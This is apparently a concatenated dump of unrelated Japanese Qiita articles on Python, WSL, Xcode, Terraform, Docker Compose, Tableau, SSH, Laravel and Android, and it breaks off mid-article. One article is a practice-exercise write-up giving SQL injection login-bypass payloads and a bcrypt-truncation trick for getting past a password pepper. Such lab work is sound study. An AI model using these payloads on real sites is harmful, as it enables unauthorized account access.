OmniAICreator/Qiita-1.07M huggingface dataset:
Pythonで複数の画像ファイルにつけたIPTCのキーワードを集計する（pyexiv2を使用）

## はじめに

画像ファイル（JPEG）にIPTCのヘッドラインやキーワードを付けて管理しているのですが（管理は主にAdobe Bridgeを使用）、画像ファイルに付けた情報をPythonで表示・編集する方法はあるのかと思い、調べてみました。

個々の画像ファイルのIPTC情報を操作するなら、Adobe Bridgeを始めとする画像管理アプリを使えば良いのですが（それでも、IPTCやExifを操作できる使い勝手の良いアプリは少ない）、複数の画像ファイルに付けたキーワードの総数や、キーワードごとの使用回数を調べる、それも再帰的に調べたいとなると、Adobe Bridgeではできそうになかったので、Pythonでやってみることにしました。

## 画像ファイルに付けた情報の例

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2544399/32213a40-7676-1e08-1059-d95379629b89.png)

参考: IPTC

https://ja.wikipedia.org/wiki/IPTC

## 使用するモジュール

本例ではpyexiv2を使います。

https://pypi.org/project/pyexiv2/

https://github.com/LeoHsiao1/pyexiv2

## 環境

* OS: Windows 11 Home 22H2
* Python: 64ビット版、3.11.4

## インストール

    pip install pyexiv2

## IPTC情報を表示する

```python
import pyexiv2
import pprint    # 辞書を整形して出力するために使用

# カレントディレクトリのサンプルファイルを読み込む
img = pyexiv2.Image(r'.\sample.jpg')

# 表示 IPTC情報全部
pprint.pprint(img.read_iptc())

# 表示 一部
# IPTCのキーワードのみ
keywords = img.read_iptc()['Iptc.Application2.Keywords']
print(keywords)

# クローズ処理
img.close()
```

### 表示結果。IPTC情報全部

```
{'Iptc.Application2.DateCreated': '2022-02-23',
 'Iptc.Application2.Headline': '冬のダム',
 'Iptc.Application2.Keywords': ['2月', '冬', '雪', 'ダム', '雪景色', '青空', 'サンプル'],
 'Iptc.Application2.RecordVersion': '4',
 'Iptc.Application2.TimeCreated': '10:41:18+00:00',
 'Iptc.Envelope.CharacterSet': '\x1b%G'}
```

Adobe Bridgeで画像に付けたヘッドライン、キーワードが表示されました。

### 表示結果。IPTC情報のキーワードのみ

```
['2月', '冬', '雪', 'ダム', '雪景色', '青空', 'サンプル']
```

型は辞書ですので、部分的に取り出すのも容易です。

## 複数の画像ファイルにおいて、キーワードごとの出現回数を集計する

基準となるディレクトリ配下のJPEGファイルをすべて読み込み、キーワードごとの出現回数を集計します。

```python
import pyexiv2
import collections
from glob import glob
from tqdm import tqdm
from pprint import pprint

# 基準となるディレクトリ
base_dir = 'baseDir'

# 基準となるディレクトリ配下にあるJPEGファイルを再帰的に読み込む
glob_dir = glob('%s/**/*.jpg' % base_dir, recursive=True)

all_keywords = []

for file_name in tqdm(glob_dir):
    try:
        img = pyexiv2.Image(file_name)
        iptc = img.read_iptc()
    except Exception as err:
        # IPTC情報が読めなかったファイル名とエラー内容を表示
        print(f'Error file name: {file_name}')
        print(f'Exception: {err}')
        continue

    # IPTCのキーワードを抽出して、リストに加えていく
    # キーワードが登録されていないのにgetをするとエラーとなるので注意
    if 'Iptc.Application2.Keywords' in iptc:
        keywords = iptc.get('Iptc.Application2.Keywords')
        all_keywords.extend(keywords)

# collectionsのCounterクラスを用いて、キーワードの出現回数を集計する
coll = collections.Counter(all_keywords)

# 整形して表示する
pprint(coll)

# キーワードの出現回数の結果をファイルに出力する
# キーワード数が多いと画面では見切れてしまうので、必要に応じて
with open('aggregate_keywords.txt', 'w', encoding='UTF-8') as f:
    pprint(coll, stream=f)

# クローズ処理
img.close()
```

## 集計結果

```
Counter({'風景': 1273,
         '人物なし': 1232,
         '無人': 1231,
         '屋外': 1217,
         '日本': 1175,
         '青空': 1131,
         '背景': 1131,
         '空': 1097,
         '背景素材': 996,
         '素材': 992,
（中略）
         'ハロ': 1,
         '日暈': 1,
         '気象現象': 1,
         '日': 1,
         '輪': 1,
         '洪水吐': 1,
         '水たまり': 1})
```

キーワードごとの出現回数を求めることができました。
再起動なしでWSLの時間のずれを直す

# 再起動なしでWSLの時間のずれを直す
WSLを使っているとよく時間がずれることがあり、PCを再起動して直していましたが再起動せずに時間を直す方法がわかったので備忘録としてコマンドを残しておきます。

```shell
sudo hwclock --hctosys
```

以上
XcodeのVersion 15.0におけるビルドのエラー(失敗)について

初めまして。Qiitaでの投稿は初めてになります。
主に自分がSwiftを学ぶ過程で気になったことや、発生したエラーについて記載していこうと思います。
初めての今回は、XcodeのVersion 15.0におけるビルドエラーについてです。

以前までSwiftにおいてビルドエラー（失敗）などはありませんでしたが、先日より特定の環境において急に起きるようになりました。（特定の環境の説明は、原因がそれぞれだと思うので省きます）
![②.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3553935/4c8d5170-41b8-ef7b-8dad-eade85feef5c.png)
ビルドを実行すると上の画像の様に、エラーが何個も出てきて、「build failed」が出てきてしまいます。
ネットで解決方法を探した際に、出てきたのは使用しているCocoaPodsのバージョンに問題があるというのもありました。
![①.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3553935/84637e0f-34ee-0977-a5d2-3620953f7d00.png)
TARGETの中にMinimum DeploymentsのバージョンをiOS12,iOS14にしてみるなどもあり、やってみましたが解決しませんでした。
そこで、「最近行われたバージョンアップに原因があるのではとないか」という問いに辿り着きました。
![スクリーンショット 2023-09-20 19.44.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3553935/d799bd36-bbb8-ab56-d549-a82f5882e023.png)
先日、Xcodeのバージョンが14.0から15.0へと変わりました。
それに伴い、以下の場所で変化が起きていました。
![スクリーンショット 2023-09-20 19.44.04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3553935/0c918fbb-1a6d-f075-d5fa-41c0470c6fb2.png)
開いている「Xcodeプロジェクトファイル」の「Build Settings」内にあるの「User Script Sandboxing」に原因がありました。
上の画像では「User Script Sandboxing」が「Yes」になっていますが、これは14.0ではデフォルトで「No」になっていました。バージョンアップに伴い、自動で変わってしまったと思います。
これを下画像のように「No」へ変更します。
![スクリーンショット 2023-09-20 19.44.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3553935/71442b4e-1003-2e71-97dc-712c88bccee0.png)
この状態でプロジェクトをビルドしてみます。
すると、正常にビルドを行うことができました。
もし同じようなエラーに遭遇している人がいたら、参考にしてください。
AWS + Terraform – ALBのエラーを CloudWatch メトリクスで検知して通知する

# 標準メトリクス

CloudWatch > メトリクス にいろんな標準メトリクスがある

ALBだけでも相当色々な数があるが「リージョン別のメトリクス」とか「ALB単位のメトリクス」とかに分かれているようだ

# アラームの作成

CloudWatch > アラーム から新しいアラームを作成できる

ここで好きなメトリクスを選んでしきい値などを設定すれば良い


#  ALB (ELB) の500系エラーの説明

ALBの層で起こるエラーと、ターゲット内(アプリケーション層とか)で起こるエラーはメトリクスの種類が分かれているようだ

> HTTPCode_ELB_5XX_Count
>ロードバランサーから送信される HTTP 5XX サーバーエラーコードの数。この数には、ターゲットによって生成される応答コードは含まれません。

> HTTPCode_Target_5XX_Count
> ターゲットによって生成された HTTP 応答コードの数。これには、ロードバランサーによって生成される応答コードは含まれません。

https://docs.aws.amazon.com/ja_jp/elasticloadbalancing/latest/application/load-balancer-cloudwatch-metrics.html

# 通知の設定

メトリクスの作成・編集でSNSトピックとの連携ができるので、SNSトピックを設定してサブスクリプションも設定する

例えばLambdaスクリプトを使う場合は

CloudWatchメトリクス -> ALARM -> SNSトピック -> サブスクリプション -> Lambda 

という経路になる (長い)

# ログはどこに？

ALBのログはS3に保存されているようだ
CloudWatchでは見られない ( 2023/09/20 現在)

# 落とし穴

エラーを発生させてもメトリクスのページでどのエラーの回数も最大1までにしかならない
他のタブにしれっと「平均」とか「合計」の選択が紛れ込んでいた

ここを合計にすると(当たり前だが)合計値が見やすい


<img width="563" alt="image" src="https://github.com/YumaInaura/YumaInaura/assets/13635059/66b26c2f-6c98-4eb2-967f-28c09cca5b2b">


# Terraform

標準メトリクスを指定してアラームを作れるようなので、公式説明を参考に `metric_name` などを指定すれば良さそう

metric_name と namespace はそれぞれ存在する正しい指定にしないといけないようだ
あとALBの指定も必要

```
resource "aws_cloudwatch_metric_alarm" "foobar" {
  alarm_name                = "terraform-test-foobar5"
  comparison_operator       = "GreaterThanOrEqualToThreshold"
  metric_name               = "メトリクスの名前"
  namespace                 = "AWS名前空間"
  evaluation_periods        = 2
  period                    = 60
  statistic                 = "Sum"
  threshold                 = 10
  alarm_description         = "Alarm!"
  insufficient_data_actions = []

  dimensions = {
    LoadBalancer = "<ALB_PATH>"
  }

}
```

- periods : チェック期間の秒数、デフォルトは60秒=1分
- threshold : チェックのしきい値 (上のコード例であれば、期間内にエラーが10回以上起きた場合を検知したい場合は5にする)
- evaluation_periods : 何回の繰り返しを検知するか ( 2にした場合は periods/treadshold などで指定したエラーが2回繰り返された場合にALARM扱いにする )

LoadBalancerにはALBのARNでもなく一部のパスを渡す必要がありそうだ

たとえばARNが以下なら

```
arn:aws:elasticloadbalancing:<REGION>:<ACCOUNT>:loadbalancer/app/alb-name/1234567890
```

以下の部分

 `app/alb-name/1234567890`

https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/cloudwatch_metric_alarm

# どうやって500系エラーを起こすか

ALBのリスナーのルールで、てきとうに500系のエラーを起こすルールを作っておけば確認しやすい

# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ


# Twitter

https://twitter.com/YumaInaura
【UE5.3】Photoshopで作成したPNG画像をインポートすると透明との境界部分が白くなる

# 初めに

Photoshopを使って作成した透明部分を持ったPNG画像をUE5にインポートすると、透明部分との境界部分で一部白くなってしまった問題を解消した備忘録です。

UE側の設定というよりPhotoshop側での設定の問題となります。

# 環境

Windows 11
Unreal Engine 5.3
Photoshop 24.2.0

# 問題点
冒頭で記載した通りPhotoshopを使って作成した透明部分があるPNG画像をUE5.3にインポートすると透明部分との境目の一部が白くなってしまう問題が発生していました。

■Photoshop
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/34301776-072b-efe2-93b1-e4094ab6e02e.png)

■UE
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/e4866636-4f3c-0c59-fcf8-7ba46ca7c0a3.png)

少し分かり辛いのですが、拡大してみるとUE側では文字の境目部分がうっすらと白くなっています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/8ee9438b-22e4-7206-8ab9-c89a1a0439ae.png)

実際にWidgetで使用してみるとその影響が良く分かります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/2483b2aa-5d73-f5b9-299b-fe13c26adf14.png)

Photoshopの方で背景を黒くしてみても境界部分は白くなっていないので画像自体に白い部分があるというわけではありません。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/d5cf69bc-eee0-8436-6b08-edcbd5ae3f51.png)

# 解決方法
問題点はどうやらPhotoshopでPNG画像を生成する方法にあったようです。
問題が起こった時に作成していた画像は以下の方法で作成したものです。
①ファイル→保存を選択
②ファイルの種類でPNGを選択

それに対してUE側で問題にならない場合は以下の方法で作成したものです。
①ファイル→書き出し→書き出し形式...を選択
②「形式」の中から「PNG」を選択
③「透明部分」にチェックを入れる
④「書き出し」を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/264b120d-3409-f3d1-f3c7-699a11c7e3b8.png)

上記の方法で作成したPNG画像をUEにインポートするとUE側で透明部分との境界が白くなる問題が発生しなくなりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/5004d67d-1dea-7312-5e0a-800ebd3e5d2b.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/498810/ce8403a2-d981-098f-7667-792273c42f88.png)

ただ問題となっていた、ファイルの種類でPNGを選択して作成したPNG画像をPhotoshopで見てみても白い部分は発生していませんでした。
上記2パターンでのPNG画像の生成方法の違いによってUE側での結果が異なる原因は不明です。
スッキリわかるJava入門 実践編 第３版 まとめ - part3 -関数とラムダ式

# はじめに
こんにちは　◤●ㅅ●◥ﾉ

今回は関数とラムダ式について学びました！

## 第３章　関数とラムダ式
### 1.関数オブジェクト

プログラミング言語において、プログラムの実行中に生み出したり、変数に代入したりできるもの
→ __第１級オブジェクト__

第１級オブジェクトとは以下に挙げるようなものたちのこと
・データ（数値や文字）
・データ構造（配列や構造体）
・インスタンス

またその３種類以外にも関数が存在する
→第１級オブジェクトとして扱う関数を特に関数オブジェクトと表現する

:star: Java世界における関数とは...
何らかの情報（Input）を引数として受け取り、
何らかの処理（Process）を行い、
何らかの結果(Output)を戻り値として返す、ひとかたまりの処理ロジック

関数とメソッドの違い
1.メソッドはクラスに属する一種の関数である
2.関数にとって名前は重要でなく、必須ではない

### 2.関数の代入
:pencil2: 変数へのメソッド参照の格納
`変数名　＝　クラス名::そのクラスの静的メソッド名`
`変数名　＝　インスタンス変数名::そのインスタンスのメソッド名`

Function型
java.util.function.Functionインタフェースとして定義されている
→さまざまな種類の関数オブジェクトへの参照を格納することができる
　→ジェネリクスでFunction<T,R>のように定義されており、
格納する関数の引数をT戻り値をRにそれぞれ実型引数として指定する

すべての関数オブジェクトを代入できるわけではない
→「引数がない関数」「戻り値がない関数」もあるため

java.util.functionパッケージにはfunctonクラス以外にも
様々な関数オブジェクトを格納するインタフェースがいくつか準備されている
→標準関数インタフェース

標準関数インタフェースを用いた代表的な３つのケース
1.戻り値がない関数を格納する
java.utiol.function.Consumerインタフェースを用いる
2.引数がない関数を格納する
java.util.function.Supplierインタフェース
3.複数の引数を受け取る関数を格納する
同じ型の２つの引数に対応するjava.util.function.BiFunctionインタフェース

これまでの標準関数インタフェースだけで全てのケースに対応できない
→オリジナルのインタフェースを定義することができる
:star: 関数インタフェースの利用
・抽象メソッド宣言に記述した引数と型が一致する関数オブジェクトを格納できる
・抽象メソッド名で呼び出すことができる

### 3.ラムダ式
関数オブジェクトを変数に格納できる
→関数本体ではなく、メモリ空間における関数の実体があるアドレスを指し示す参照を格納している
　→参照先にある関数の実態が「いつ生成されるのか

:star: メソッドの実体が生まれるタイミング
メソッドとして定義した処理ロジック（関数）の事態は、必要とされる時期に関わらず、
クラスがJVMに読み込まれたとおきに自動的に生成される

プログラム実行中の必要になったタイミングで生み出して即時利用することができる
→ __ラムダ式__ を用いる

:ラムダ式の構文
```
（型　引数名１、型　引数名２、...）->{
処理；
：
return 戻り値；
}
```
ラムダ式の省略記法
1.代入じはラムダ式の引数宣言における型を省略可能
2.ラムダ式の引数が１つの場合は丸カッコを省略可能
3.ラムダ式が単一のreturn文の場合、波カッコとreturnを省略可能

ラムダ式には「自信が評価され関数の実体が生み出される際、
その時点でアクセス可能なすべての変数の情報を記憶し、ラムダ式の中で参照できる」
→クロージャ

### 4.関数オブジェクトの活用
関数がもたらした「変革」と「利便性」
→これまで、メソッドに対してデータしか渡すことができなかったものが
　アルゴリズムを渡せるようになり、より高度な処理を実現できる可能性が広がった

### 5.StreamAPI
宣言的に処理を行うためのデータの並び...ストリーム(Stream)
java.util.stream.Streamsインタフェースとして扱う

:pencil2: ストリームの生成
・コレクションの場合
`Stream<T> st = コレクション<T>.stream`
・配列の場合
`Stream<T> st = Arrays.stream(T型の配列);`

## まとめ
Javaでは関数を第１級オブジェクトとして扱える
関数とは「入力、処理、出力を有する処理ロジック」である
ラムダ式を用いることでプログラム実行中の必要になったタイミングで生み出して即時利用することができる
ラムダ式には様々な省略記法があり、簡単な関数であればシンプルに記述できる
【JavaScript】【Jquery】数値以外入力不可にする※全角数値はＯＫ

```javascript
process.stdin.resume();
process.stdin.setEncoding('utf8');

$('input[name="cost"]').on('input', function() {
    var num = $(this).val().replace(/[０-９]/g,(s) => String.fromCharCode(s.charCodeAt(0)-0xFEE0));
    $('input[name="cost"]').val(num);
    if(!$.isNumeric(num)) {
        alert('数値を入力してください');
        $('input[name="cost"]').val(num.replace(/\D+/g, ''));
    }
})
```
input type="date", "time"の途中入力バリデーションをしてみる

# 結論
input type="date", "time"を利用する際に、以下のプロパティを使うことで、入力値が正常かどうか（途中までしか入力されていないか）のチェックができます。
```validity.badInput```
https://developer.mozilla.org/ja/docs/Web/API/ValidityState/badInput

# 実装サンプル
```
var isBadInput = document.getElementById('').validity.badInput;
if (isBadInput) {
    console.log('正しい形式で入力してください。');
}
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/239102/0515ea00-77e0-9659-9cdd-fb5cef6900c8.png)

input type="date", "time"を使わずにdatepickerなどで実装したほうがリッチになるかと思いますが、シンプルな機能でよければこれで十分かと思います。
Windows の Docker Compose で The system cannot find the file specified. エラー

Windows で Docker Compose を使おうとして「The system cannot find the file specified.」エラーが出て困っている人を何人か見たので、まとめておく。

## ケース
Docker Compose の設定ファイルのうち、環境変数だけを別ファイルとして切り出したいケースを考える。

``` compose.dev.yml
services:

  app:
    (略)
```

``` compose.env.yml
services:

  app:
    environment:
      API_KEY: ...
```

``` .env
COMPOSE_FILE=compose.dev.yml:compose.env.yml
```

ここで `docker compose` コマンドを使用すると、まず Docker Compose は `.env` ファイルを読んで環境変数として扱ってくれるので、環境変数 `COMPOSE_FILE` が解釈されて `-f compose.dev.yml -f compose.env.yml` オプションを付けたときと同じ振る舞いになる。Docker Compose は設定ファイルが `compose.dev.yml` と `compose.env.yml` の2つであることがわかるので、Docker Compose はこの２つを順番に読み込んでコンテナを起動してくれる。

https://qiita.com/hoto17296/items/a8a85d5244f46c119278

## Windows ではエラーが発生する
上記のケースは Linux や macOS では問題なく動くが、Windows では下記のエラーが発生する。

> The system cannot find the file specified.

どうやら `compose.dev.yml:compose.env.yml` という1つのファイルを読み込もうとして「そのようなファイルはない」と言っている。つまり `:` によるパスの分割がされていない。

[Docker Compose の公式ドキュメント](https://docs.docker.com/compose/environment-variables/envvars/#compose_file) を読むと、このように書いてある。

> Default separator: When specifying multiple Compose files, the path separators are, by default, on:
> - Mac and Linux: : (colon),
> - Windows: ; (semicolon).

Windows ではパスの区切り文字は `;` を使わないといけないらしい。

:::note
**なぜ区切り文字が異なるのか**
この話に限らず、慣習的に Unix 系 OS ではパスの区切り文字は `:` が使われ、Windows では `;` を使われる。(環境変数 `PATH` など)
おそらく Windows ではドライブレター (`C:` など) に `:` が使われるため、ファイルパスの区切り文字として `:` を使うことができないという事情があるのだろう。
:::

## 解決策1： 環境変数を書き換える
最も簡単な解決策としては、 `.env` ファイルを書き換えてしまい、区切り文字を `;` に変更すればよい。Windows でしかそのリポジトリを触らないのであればそれで問題はない。

しかし Windows でも macOS でも同じリポジトリを動かしたく、かつ `.env` ファイルをリポジトリで管理している場合は「どちらか片方でしか動かない」という問題が発生する。

## 解決策2: 区切り文字を変更する
環境変数 `COMPOSE_PATH_SEPARATOR` を指定すると、パスの区切り文字を変更することができる。

```.env
COMPOSE_FILE=compose.dev.yml:compose.env.yml
COMPOSE_PATH_SEPARATOR=:
```

これで  Windows でも macOS でも同じリポジトリの `.env` ファイルを使用して Docker Compose を使うことができる。
フィルターでLOOKUPを使用した前年度比較


今回、Tableauの自己学習を行い、自分の振り返りを兼ねて拙い文ですがまとめてみました。

**使用環境**
・Tableau Public（無料）

**使用データ**
・サンプル　-　スーパーストア

今回使用環境の準備、サンプルデータの準備の方法に関しては省略させていただきます。

## 今回やりたいこと
ある年月の売り上げ金額とその年月の前年の売り上げ金額だけをダッシュボード上で比較できるようにしたい。


今回下記のようなグラフが存在している。
![スクリーンショット 2023-09-19 19.45.50.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591484/e8ed8a2c-5ede-96b5-ecfe-babcc8d44d9b.png)

こちらは
青の棒グラフ:今年の売上
オレンジの棒グラフ：昨年の売上

オレンジのグラフは、LOOKUPを使用して棒グラフで作成

LOOKUP関数に関しては下記を参考にしていただければと思います。
https://help.tableau.com/current/pro/desktop/ja-jp/functions_functions_tablecalculation.htm


## 課題
201３年４月、201４年４月を表示させ比べたい時
フィルターを使用して選択するとオレンジの昨年売上が消えてしまう。
なのでグラフを重ねて比較するなど対応ができない。

![スクリーンショット 2023-09-20 17.08.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591484/5e293ed7-b37b-f0c0-2404-713308158de7.png)



## 解決策
解決策の手法としては下記をそれぞれ参考に作成した。
・https://kb.tableau.com/articles/howto/filtering-view-without-filtering-underlying-data?lang=ja-jp
・http://blog.livedoor.jp/tab_hiro/archives/24206382.html


##### 1,日付フィルターの作成
下記画像のような日付フィルターを作成する。
![スクリーンショット 2023-09-20 17.36.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591484/c380d031-05ea-e21f-f092-d981cc007b57.png)

上記画像が何を表しているかというと
最小のオーダー日を０ずらした値


##### 2,作成した日付フィルターをフィルター部分にドラッグ。
見たいデータの日付をここで指定。
今回で言うと2014年4月のデータと2013年4月のデータを比べたいので、2014年4月の日付けを入力する。


そうすると下記画像のように選択した年月の売上、選択した年月から前年の売上データでグラフが表示される。二重軸に設定することで重なったグラフで表示ができる。
![スクリーンショット 2023-09-20 18.11.57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2591484/1cd31181-42df-9268-0209-9d8cbb10d223.png)


このように選択した年に対して前年のデータを並べ比べたいケースは度々あるので少しでも参考になれば幸いです。
SSHするとThis private key will be ignored.というエラーが出る

# はじめに

時間がないため雑にまとめていきます(ごめんなさい)
またSSHのプライベートキーが正しいのに読み込めないときの1つの原因も消化しています

# 問題

SSHで以下のエラーが発生しました

```
Permissions 0775 for '/home/watanabejin/.ssh/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/home/watanabejin/.ssh/id_rsa": bad permissions
```

# 解決方法

```
$ sudo chmod 600 ~/.ssh/id_rsa
```

で権限をつけたらうまく行きました

# でもなぜかできない

なぜかアクセスができませんでした
そこでPrivateKeyをみたところ

```id_rsa
hogehogepipi
-----END OPENSSH PRIVATE KEY-----
```

となっており、正しくは

```id_rsa
hogehogepipi
-----END OPENSSH PRIVATE KEY-----


```

と下に2行開けていないとなりませんでした

# おわりに

明日から沖縄にワーケーションしにいくのでうずうずしていたため、雑にまとめました
【勉強法】人に教えるつもり勉強法をエンジニアとして勉強する上で活かす方法

新卒で未経験エンジニアとして入社した、元教育大生です。
もともとは教員になるための勉強をしていたため、
プログラミングをしたことはほとんどないに等しかったです。

最近は知識に投資することがよいと考えて、
ちょっとづつ本を買い集めています。
最近は自己啓発などのビジネスに関する本をよく読んでいます。
そのうち今回は以下の本を読んでよいと思った勉強法を活かす方法について考えてみました。

https://www.amazon.co.jp/%E6%9C%80%E7%9F%AD%E3%81%AE%E6%99%82%E9%96%93%E3%81%A7%E6%9C%80%E5%A4%A7%E3%81%AE%E6%88%90%E6%9E%9C%E3%82%92%E6%89%8B%E3%81%AB%E5%85%A5%E3%82%8C%E3%82%8B-%E8%B6%85%E5%8A%B9%E7%8E%87%E5%8B%89%E5%BC%B7%E6%B3%95-%E3%83%A1%E3%83%B3%E3%82%BF%E3%83%AA%E3%82%B9%E3%83%88DaiGo/dp/4054066895

# 目次
- [よいと思った勉強法](#よいと思った勉強法)
- [なぜよいと思ったか](#なぜよいと思ったか)
- [実際に活かす方法](#実際に活かす方法)
# よいと思った勉強法
#### ”人に教えるつもり勉強法”
2014年のワシントン大学の研究では、
学生たちを以下の2つのグループに分けました。
- Aグループ
「この後にテストがある」と思いながら勉強する
- Bグループ
「この後に他の学生に教えなければならない」と思いながら勉強する

この後に学生たちに確認テストを実施したところ
Bグループの方が内容を正確に思い出す確率が
Aグループに比べて **28%** も高く、
特に重要な情報ほど定着していました。


# なぜよいと思ったか
過去の経験から、
`人に教えられる　＝　質問されても答えられるだけの知識を持つ`
ということになると考えたからです。

また、実際に教えると足りない知識の漏れに気づいたり、
説明する際に自分の中で知識の整理をすることができます。


教えないとしても、
自分の感覚としては、「人に教える」ということを想定すると、
学習の際の情報取得の粒度が上がるため結果的に知識量が増える気がしています。

# 実際に活かす方法
では、エンジニアが一人で学習する際の活かし方を2つほど考えてみたので紹介したいと思います。
#### 1. 学んだ内容をドキュメントにまとめる
自分以外の人間が見るものだという想定でドキュメントにまとめます。
自分で見返すもよし、他人に共有して知識の共有をするもよし。
私は最近、railsについて学んだのでそれをドキュメントにまとめました。

#### 2. Qiitaなどで説明する
Qiitaに投稿することで見知っている人はもちろん、見知らぬ方の助けになることもあります。
場合によっては他の方からのコメントがかえってくることで勉強になることもあるでしょう。
最近では、自分のエラーの解決法の共有記事などを書きました。



##### 参考

https://www.hirablog.net/entry/2020/01/18/095405
telescopeの導入とERROR There are no commands defined in the "telescope" namespace.

## LaravelにTelescopeを導入したい。

https://laravel.com/docs/9.x/telescope
基本的にこの通りにやればいいのだが、記載されていないエラーがでた。

## 手順

いつも通りに、/var/www に移動。

```PHP:Laravel
composer require laravel/telescope --dev
```
```PHP:Laravel
php artisan telescope:install
```
// ここでエラーでる
ERROR There are no commands defined in the “telescope” namespace.

ので
config/app.phpの’providersに下記を追加

```PHP:config/app.php
'providers' => [
// ・・・
Laravel\Telescope\TelescopeServiceProvider::class,
]
```

その後、再度
```PHP:Laravel
php artisan telescope:install
```
とすると

Publishing Telescope Service Provider…
Publishing Telescope Assets…
Publishing Telescope Configuration…
Telescope scaffolding installed successfully.

と成功メッセージが表示される。

最後にマイグレーションも忘れずに
```PHP:Laravel
php artisan migrate
```

これでつかえるようになります。
パスワードがペッパー付きハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題の解答

# 問題
https://qiita.com/ockeghem/items/0f3b09a0f413bdd39bd5

# 解答
問題文にある通り、2種類の解答を記述します。
なお、[前問](https://qiita.com/ockeghem/items/787f74801a24e1fc6960?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items)の解答と被る部分は省略しています。

## 解答1
1. 適当な攻撃用ユーザーを登録する
![スクリーンショット 2023-09-20 17.59.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1486305/899b7ee9-df83-7c47-8784-d8aa6f1daea1.png)
2. UserIDに以下を入力し、Passwordには先ほど作成したユーザーのパスワードを入力する
    ```
    ' UNION SELECT 1, "admin", password, 4 FROM (SELECT * from users where userid = "arucarap") --
3. Welcome to Underground
![スクリーンショット 2023-09-20 18.02.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1486305/d5ecb2c3-f658-94fa-12d0-4caa3d141098.png)

## 解答2
1. [password_hashのマニュアル](https://www.php.net/manual/ja/function.password-hash.php)を眺める
1. 学びを得る![スクリーンショット 2023-09-20 18.09.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1486305/6f04b4b7-c4cb-5bf9-3be5-16d19de5c697.png)
1. 今回の問題のアルゴリズムでは`password`の**末尾**にpepperを付与していることから、`password_hash`のアルゴリズムを`PASSWORD_BCRYPT`に設定した上で72バイト以上の長さの`password`を与えてやれば、pepperの値を切り捨てさせることができると考えられる。
1. `password_hash`関数に72バイト以上の長さのパスワードを与えてハッシュを取得する
    ```
    $ php -r "echo password_hash('yuuteimiyaoukimukouhoriiyuujitoriyamaakirapepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepepe', PASSWORD_BCRYPT), PHP_EOL;"

    $2y$10$HNrjhgPwb0IhNB0M1hU/Wucfq8Ik0c5Gsl/fGw8gB0WOQEX1WXuzS
1. 得られたハッシュを利用してUserIDに注入し、Passwordには上記で利用した長いパスワードを入力する
    ```
    ' UNION SELECT 1, "admin", "$2y$10$HNrjhgPwb0IhNB0M1hU/Wucfq8Ik0c5Gsl/fGw8gB0WOQEX1WXuzS", 4 --
1. Welcome to Underground
![スクリーンショット 2023-09-20 18.02.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1486305/774da3df-6a72-6e3a-b725-b9ea51cd4ea4.png)
androidのイベント通知

Androidアプリケーションにおけるイベント通知の方法は、アプリケーションのアーキテクチャや要件に合わせて選択する必要があります。この記事では、主要なイベント通知方法であるLiveData、StateFlow、EventBus、BehaviorProcessorを比較し、それぞれの特徴や使用ケースについて説明します。

# LiveData
LiveDataはAndroid Architecture Componentsの一部であり、データの変更を監視し、UIコンポーネントに通知するために使用されます。以下はLiveDataの特徴です。

### 特徴:

ライフサイクル感知型：LiveDataはライフサイクルオーナー（通常はActivityやFragment）にバインドされ、ライフサイクルに合わせてデータの更新と通知を行います。
データ変更通知：データが変更された場合、自動的にUIに通知され、UIの更新が行われます。
非同期サポート：非同期操作を行うためにCoroutineやRxJavaと組み合わせて使用できます。
### 使用ケース:

UIコンポーネント（例：TextView、RecyclerView）へのデータのバインディング。
ViewModelからUIへのデータの伝達。

# StateFlow
StateFlowはKotlin Flowの一部であり、非同期プログラミングにおける状態の変更を監視するために使用されます。以下はStateFlowの特徴です。

### 特徴:

非同期ストリーム：StateFlowは非同期ストリームとして動作し、データの変更を監視できます。
Kotlin Coroutinesとの統合：Kotlin Coroutinesと組み合わせて使用し、非同期コードを記述するのに適しています。
型安全：Kotlinの型安全性を利用して、コンパイル時エラーを減らします。
### 使用ケース:

アプリケーション内の異なるコンポーネント間でデータを共有する場合。
非同期処理が必要な場合、特にKotlin Coroutinesを使用する場合。

# EventBus
EventBusはAndroidアプリケーション内でイベントベースのコミュニケーションを実現するためのライブラリです。

### 特徴:

イベント駆動：イベントを発行し、サブスクライバーに通知するために使用されます。
イベントバス：イベントの送受信を管理するための中央のイベントバスが提供されます。
イベントの種類：任意の種類のイベントを送信できます。
### 使用ケース:

